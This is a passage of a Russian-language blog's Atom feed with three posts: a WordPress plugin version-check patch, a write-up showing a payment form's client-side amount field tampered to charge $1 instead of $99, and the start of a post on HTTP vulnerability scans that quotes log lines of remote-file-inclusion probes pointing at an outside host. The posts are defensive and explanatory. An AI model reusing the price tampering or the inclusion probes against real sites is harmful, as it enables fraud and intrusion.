href="http://feeds.feedburner.com/~f/sjblog?a=m9Dwn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=m9Dwn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=kdqKN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=kdqKN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/461547721" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/wordpress/patches/372-simple-tags-auto-link-tags-in-russian/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/wordpress/patches/372-simple-tags-auto-link-tags-in-russian/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fwordpress%2Fpatches%2F372-simple-tags-auto-link-tags-in-russian%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/wordpress/patches/372-simple-tags-auto-link-tags-in-russian/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[WordPress 2.7 и Simple Tags]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/461480387/" />
		<id>http://blog.sjinks.org.ua/?p=370</id>
		<updated>2008-11-22T04:14:51Z</updated>
		<published>2008-11-22T04:14:51Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Патчи" /><category scheme="http://blog.sjinks.org.ua" term="patch" /><category scheme="http://blog.sjinks.org.ua" term="plugin" /><category scheme="http://blog.sjinks.org.ua" term="Simple Tags" /><category scheme="http://blog.sjinks.org.ua" term="WordPress" /><category scheme="http://blog.sjinks.org.ua" term="патч" /><category scheme="http://blog.sjinks.org.ua" term="плагин" />		<summary type="html"><![CDATA[Simple Tags&#160;&#8212;&#160;это плагин для WordPress, предназначенный для управления тэгами (или, как их еще называют, метками). Достоинств у плагина очень много (полный список&#160;&#8212;&#160;на официальной странице плагина), работает просто на "ура".
Но, как обычно, в бочке мёда есть ложка дёгтя: плагин отказывается работать в WordPress&#160;2.7. Причём довольно-таки по-глупому: номера версий, с которыми плагин хочет работать, жёстко зашиты в [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/">&lt;p&gt;&lt;a href="http://www.herewithme.fr/wordpress-plugins/simple-tags" rel="nofollow"&gt;&lt;strong&gt;Simple Tags&lt;/strong&gt;&lt;/a&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;это &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; для &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt;, предназначенный для управления тэгами (или, как их еще называют, метками). Достоинств у плагина очень много (полный список&amp;nbsp;&amp;mdash;&amp;nbsp;на &lt;a href="http://wordpress.org/extend/plugins/simple-tags/" rel="nofollow"&gt;официальной странице плагина&lt;/a&gt;), работает просто на "ура".&lt;/p&gt;
&lt;p&gt;Но, как обычно, в бочке мёда есть ложка дёгтя: &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; отказывается работать в &lt;a href="http://blog.sjinks.org.ua/tag/wordpress/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with WordPress"&gt;WordPress&lt;/a&gt;&amp;nbsp;2.7. Причём довольно-таки по-глупому: номера версий, с которыми &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; &lt;em&gt;хочет&lt;/em&gt; работать, жёстко зашиты в коде. Если в список добавить 2.7, &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%bb%d0%b0%d0%b3%d0%b8%d0%bd/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with плагин"&gt;плагин&lt;/a&gt; будет работать.&lt;span id="more-370"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;По традиции, для таких случаев привожу &lt;a href="http://blog.sjinks.org.ua/tag/%d0%bf%d0%b0%d1%82%d1%87/" class="st_tag internal_tag" rel="tag nofollow" title="Posts tagged with патч"&gt;патч&lt;/a&gt; (в формате unified diff):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p37010"&gt;
        &lt;div class="code diff" id="p370code10"&gt;
--- simple-tags.php.orig &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="nu0"&gt;2008&lt;/span&gt;-05-05 &lt;span class="nu0"&gt;18&lt;/span&gt;:&lt;span class="nu0"&gt;37&lt;/span&gt;:&lt;span class="nu0"&gt;58.000000000&lt;/span&gt; +0300 &lt;br /&gt;
&lt;span class="re4"&gt;+++ simple-tags.php &amp;nbsp; &amp;nbsp; &lt;span class="nu0"&gt;2008&lt;/span&gt;-&lt;span class="nu0"&gt;11&lt;/span&gt;-&lt;span class="nu0"&gt;22&lt;/span&gt; 05:&lt;span class="nu0"&gt;27&lt;/span&gt;:&lt;span class="nu0"&gt;50.000000000&lt;/span&gt; +0200 &lt;/span&gt;&lt;br /&gt;
&lt;span class="re6"&gt;@@ -&lt;span class="nu0"&gt;32&lt;/span&gt;,&lt;span class="nu0"&gt;7&lt;/span&gt; +&lt;span class="nu0"&gt;32&lt;/span&gt;,&lt;span class="nu0"&gt;7&lt;/span&gt; @@ &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp;// Check version. &lt;br /&gt;
&amp;nbsp;global $wp_version; &lt;br /&gt;
&lt;span class="re7"&gt;-if &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.5&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.6&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &amp;nbsp;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class="re8"&gt;+if &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.5&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.6&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.7&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; require&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;dirname&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;__FILE__&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.'/&lt;span class="nu0"&gt;2.5&lt;/span&gt;/simple-tags.client.php'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;; &lt;br /&gt;
&amp;nbsp;&lt;span class="br0"&gt;&amp;#125;&lt;/span&gt; elseif &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.3&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; require&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;dirname&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;__FILE__&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.'/&lt;span class="nu0"&gt;2.3&lt;/span&gt;/simple-tags.client.php'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/372-simple-tags-auto-link-tags-in-russian/" title="Simple Tags и автоматические ссылки меток на русском языке (November 22, 2008)"&gt;Simple Tags и автоматические ссылки меток на русском языке&lt;/a&gt; (0)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/php/179-patch-for-wp-wassup-151/" title="Патч для WP WassUp 1.5.1 (June 1, 2008)"&gt;Патч для WP WassUp 1.5.1&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/13-patch-for-wp-codebox-for-valid-xhtml/" title="Патч для WP CodeBox для Valid XHTML (March 11, 2008)"&gt;Патч для WP CodeBox для Valid XHTML&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/201-patch-for-wassup-16/" title="Патч для WassUp 1.6 (June 20, 2008)"&gt;Патч для WassUp 1.6&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/86-patch-for-wassup-15-for-wordpress/" title="Патч для WassUp 1.5 for WordPress (April 13, 2008)"&gt;Патч для WassUp 1.5 for WordPress&lt;/a&gt; (2)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=J2VHbG"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=J2VHbG" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=nWO4N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=nWO4N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ovZTN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ovZTN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=faLen"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=faLen" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RHoLn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RHoLn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=EuluN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=EuluN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RNbgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RNbgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=49dsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=49dsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlgyn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlgyn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=dILqN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=dILqN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=KVYGN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=KVYGN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RNbgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RNbgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=49dsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=49dsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/461480387" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fwordpress%2Fpatches%2F370-wordpress-27-and-simple-tags%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Как не нужно интегрировать платёжные системы]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/460214708/" />
		<id>http://blog.sjinks.org.ua/?p=362</id>
		<updated>2008-11-21T01:20:22Z</updated>
		<published>2008-11-21T01:16:33Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="security" /><category scheme="http://blog.sjinks.org.ua" term="hack" /><category scheme="http://blog.sjinks.org.ua" term="spoofing" /><category scheme="http://blog.sjinks.org.ua" term="vulnerability" /><category scheme="http://blog.sjinks.org.ua" term="безопасность" /><category scheme="http://blog.sjinks.org.ua" term="взлом" /><category scheme="http://blog.sjinks.org.ua" term="уязвимость" /><category scheme="http://blog.sjinks.org.ua" term="хак" />		<summary type="html"><![CDATA[Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.
Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):

Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:

Для тех, кто не знает: сумма [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/">&lt;p&gt;&lt;strong style="color: red"&gt;Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.&lt;/strong&gt;&lt;span id="more-362"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/source-form.png" alt="Исходная форма" title="Исходная форма" class="size-full wp-image-363" /&gt;&lt;/p&gt;
&lt;p&gt;Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/form-details.png" alt="Информация о форме" title="Информация о форме" class="size-full wp-image-364" /&gt;&lt;/p&gt;
&lt;p&gt;Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45&amp;nbsp;&amp;mdash;&amp;nbsp;как 2045.&lt;/p&gt;
&lt;p&gt;У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с &lt;a href="http://blog.sjinks.org.ua/humour/76-programmers-russian-indian-chinese-canadian/"&gt;индопакистанофилиппинцами&lt;/a&gt;, то ему только остаётся схватиться за голову.&lt;/p&gt;
&lt;p&gt;А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/invalid-amount.png" alt="Invalid Amount" title="Invalid Amount" class="size-medium wp-image-365" /&gt;&lt;/p&gt;
&lt;p&gt;Кстати, отрицательный результат&amp;nbsp;&amp;mdash;&amp;nbsp;тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт &lt;strong&gt;не проверяет значение суммы платежа&lt;/strong&gt;, и ему можно скормить &lt;strong&gt;любое значение&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;Итак, меняем сумму платежа:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/changed-amount.png" alt="Изменённое значение суммы платежа" title="Изменённое значение суммы платежа" class="alignnone size-full wp-image-366" /&gt;&lt;/p&gt;
&lt;p&gt;И отправляем форму. В результате получаем такую картину:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/payment-successful.png" alt="Платёж прошел успешно" title="Платёж прошел успешно" class="alignnone size-full wp-image-367" /&gt;&lt;/p&gt;
&lt;p&gt;Осталось посмотреть, сколько денег снялось:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/amount-charged.png" alt="Снялся один доллар" title="Снялся один доллар" class="alignnone size-full wp-image-368" /&gt;&lt;/p&gt;
&lt;p&gt;Как видим, снялся $1.00&amp;nbsp;&amp;mdash;&amp;nbsp;операция прошла успешно.&lt;/p&gt;
&lt;p&gt;Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: &lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/"&gt;&lt;strong&gt;никогда&lt;/strong&gt; не доверяйте данным, которые пришли от пользователя&lt;/a&gt;. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (July 16, 2008)"&gt;Водка с феназепамом? Или всё-таки правда?&lt;/a&gt; (6)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят&amp;hellip; (March 11, 2008)"&gt;Безопасность, о которой все так много говорят&amp;hellip;&lt;/a&gt; (10)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (April 10, 2008)"&gt;Уязвимости oDesk&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (November 19, 2008)"&gt;Минимизируем неприятные последствия HTTP-сканирования&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/196-vulnerability-in-safari-for-windows-proves-critical/" title="Доказана критичность уязвимости в Safari для Windows (June 15, 2008)"&gt;Доказана критичность уязвимости в Safari для Windows&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=jyWNFD"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=jyWNFD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lxjsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lxjsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ScH3N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ScH3N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=QGx7n"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=QGx7n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ELxCn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ELxCn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=uXYRN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=uXYRN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0Ihun"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0Ihun" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IpvaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IpvaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=r2Zon"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=r2Zon" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=4hXaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=4hXaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0lPqN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0lPqN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0Ihun"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0Ihun" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IpvaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IpvaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/460214708" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/#comments" thr:count="3" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/feed/atom/" thr:count="3" />
		<thr:total>3</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fsecurity%2F362-incorrect-way-to-integrate-payment-gateways%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Минимизируем неприятные последствия HTTP-сканирования]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/457980272/" />
		<id>http://blog.sjinks.org.ua/?p=361</id>
		<updated>2008-11-19T04:45:26Z</updated>
		<published>2008-11-19T04:45:26Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="security" /><category scheme="http://blog.sjinks.org.ua" term="attack" /><category scheme="http://blog.sjinks.org.ua" term="scanning" /><category scheme="http://blog.sjinks.org.ua" term="vulnerability" /><category scheme="http://blog.sjinks.org.ua" term="атака" /><category scheme="http://blog.sjinks.org.ua" term="безопасность" /><category scheme="http://blog.sjinks.org.ua" term="сканирование" /><category scheme="http://blog.sjinks.org.ua" term="уязвимость" />		<summary type="html"><![CDATA[Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.
Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/">&lt;p&gt;Анализируя логи Апача после полуторамесячного &lt;a href="http://blog.sjinks.org.ua/kuzbass-2008/"&gt;отпуска&lt;/a&gt;, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.&lt;/p&gt;
&lt;p&gt;Если Вы всё еще читаете &lt;img src="http://blog.sjinks.org.ua/wp-includes/images/smilies/icon_smile.gif" alt=":-)"/&gt;, то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.&lt;span id="more-361"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p36123"&gt;
        &lt;div class="code apache_log" id="p361code23"&gt;
80.93.57.226 - - [16/Nov/2008:20:00:51 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:52 +0200] &amp;quot;GET /wordpress/341-magic-conditional-tags-of-wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 69530 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:56 +0200] &amp;quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:00:57 +0200] &amp;quot;GET /?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90888 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &amp;quot;GET /wordpress//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:01:00 +0200] &amp;quot;GET /wordpress/?_SERVERDOCUMENT_ROOT=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 86208 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:28:41 +0200] &amp;quot;GET /wordpress/319-using-wordpress-without-plugins-from-third-party-application/?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 71829 &amp;quot;-&amp;quot; &lt;br /&gt;
&amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
80.93.57.226 - - [16/Nov/2008:20:28:45 +0200] &amp;quot;GET /?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt? HTTP/1.1&amp;quot; 200 90948 &amp;quot;-&amp;quot; &amp;quot;libwww-perl/5.805&amp;quot;&lt;br /&gt;
